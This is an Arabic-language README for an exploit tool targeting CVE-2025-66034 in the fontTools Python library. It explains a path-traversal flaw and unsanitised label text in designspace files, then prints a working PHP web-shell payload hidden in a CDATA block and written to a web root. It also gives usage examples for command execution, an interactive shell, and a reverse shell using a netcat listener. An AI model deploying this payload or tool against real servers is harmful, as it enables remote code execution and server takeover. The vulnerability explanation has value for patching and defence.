
استغلال وتوثيق CVE-2025-66034
fontTools هي مكتبة بايثون لمعالجة ملفات الخطوط. تقوم وحدة varLib بمعالجة ملفات .designspace — وهي تنسيق XML يصف كيفية تداخل عدة خطوط أساسية (masters) لإنتاج خط متغير (variable font).
يوجد نقطتا ضعف في الإصدارات المتأثرة:
1. اسم ملف الإخراج غير منقى
السمة <variable-font filename="..."> في ملف designspace تتحكم في المكان الذي يكتب فيه varLib ملف الخط المخرج. لا تقوم المكتبة بأي تحقق أو تطبيع لهذا المسار قبل تمريره إلى نظام الملفات. يمكن للمهاجم تقديم مسار مطلق أو تسلسل اجتياز مسار (path traversal) لكتابة ملف الإخراج إلى أي موقع يملك فيه البرنامج صلاحية الكتابة.
2. محتوى XML يُمرّر إلى الإخراج
تقوم fontTools بتسلسل أسماء المحاور (axis label names) من عناصر <labelname> مباشرة إلى جدول أسماء الخط المخرج كبايتات خام، دون تنظيف المحتوى. أي سلسلة توضع داخل كتلة <labelname> — بما في ذلك كود PHP — ينتهي بها الأمر حرفياً في الملف المكتوب.
معاً، تسمح هاتان النقطتان الضعيفتان للمهاجم الذي يستطيع تقديم ملف designspace إلى نقطة نهاية ويب مدعومة من fontTools بكتابة ملف عشوائي بمحتوى عشوائي إلى أي مسار قابل للكتابة على الخادم.
يحتوي ملف designspace على حقنتين.
الأولى في عنصر <labelname>:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
تسمح أقسام CDATA في XML ببيانات أحرف عشوائية دون استخدام هروب الكيانات (entity escaping)، لكنها لا يمكنها بنفسها احتواء التسلسل ]]> لأنه ينهي القسم. علامة الإغلاق PHP ?> ستسبب خطأ تحليلي إذا كُتبت ببساطة. التسلسل ]]]]><![CDATA[> يُغلق قسم CDATA فوراً بعد ]] ويفتح قسمًا جديدًا يبدأ بـ >، لذا يكون المحتوى النهائي هو <?php system($_REQUEST["cmd"]);?> — كود PHP صحيح نحويًا — دون إثارة أي خطأ في محلل XML أبدًا.
الحقنة الثانية في مسار الإخراج:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
تقوم fontTools ببناء مقبض ملف الإخراج من هذه السلسلة دون تطبيع المسار. يتم إنشاء الملف في ذلك الموقع بالضبط.
يتطلب varLib خط مصدر واحد على الأقل للتجميع. لا يحتاج الخط الأساسي أن يكون خطًا حقيقيًا — يكفي TTF صغير مع حرف فارغ واحد لاجتياز التحقق. إن TTF المشفر base64 المضمن في هذا الاستغلال تم إنشاؤه باستخدام fontTools FontBuilder ويحتوي فقط على حرف .notdef مع محيط مربع وأقل الجداول المطلوبة (head, hhea, OS/2, cmap, glyf, hmtx, name, post).
يقوم الاستغلال بإرسال ملفي designspace و TTF كـ multipart/form-data POST إلى نقطة نهاية إنشاء الخطوط في تطبيق الويب. يمرر الخادم الملفات إلى varLib.build(). تقوم varLib بتحليل designspace، قراءة الخط الأساسي، تجميع الخط المتغير، وكتابته إلى المسار المحدد في filename= — وهو جذر الويب (web root).
الملف المكتوب هو ملف خط ثنائي مع حمولة PHP مضمنة بداخله. يقوم محلل PHP بمسح الملفات بحثًا عن علامات الفتح بدلاً من اشتراط أن يتكون الملف بالكامل من PHP. عندما يعالج خادم الويب الملف كـ PHP، يجد <?php system($_REQUEST["cmd"]);?> وينفذه. كل ما قبل العلامة وبعدها يُخرَج كما هو ويُهمل.
جسم الاستجابة هو الخط الثنائي الخام. يقع إخراج الأوامر بين معلمتين قابلتين للتنبؤ يكتبهما fontTools في جدول الأسماء:
TestWeight400 — مشتق من حقول العائلة وفئة الوزن في TTF الأساسي المضمن]]>ThinMEOW2 — من عنصر <labelname> الفرنسي في designspaceيقوم الاستغلال بتقسيم الاستجابة بين هاتين السلسلتين ويجرد علامات XML المتبقية باستخدام BeautifulSoup لإنتاج إخراج أوامر نظيف.
pip install requests beautifulsoup4
جميع معاملات الهدف الثلاثة مطلوبة. لا توجد افتراضات مبرمجة.
--process-url الرابط الكامل لنقطة نهاية معالج الخطوط
--shell-url الرابط الكامل حيث سيكون ويب شيل قابلًا للوصول بعد الكتابة
--write-path مسار نظام الملفات حيث سيكتب الخادم الشيل
اختياري:
--session قيمة كوكيز PHPSESSID (إذا كانت البوابة تتطلب المصادقة)
--no-plant تخطي خطوة الرفع (الشيل مزروع بالفعل)
--hostname التسمية المعروضة في الموجه التفاعلي
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
قم بتشغيل مستمع أولاً:
nc -lvnp 4444
ثم قم بتشغيل:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
يتم ترميز حمولة الشيل العكسي بـ base64 قبل الإرسال لتجنب مشاكل هروب أحرف الشيل (shell metacharacters) داخل معامل الاستعلام cmd.
موجود في دالة build() في وحدة varLib ومحلل designspace.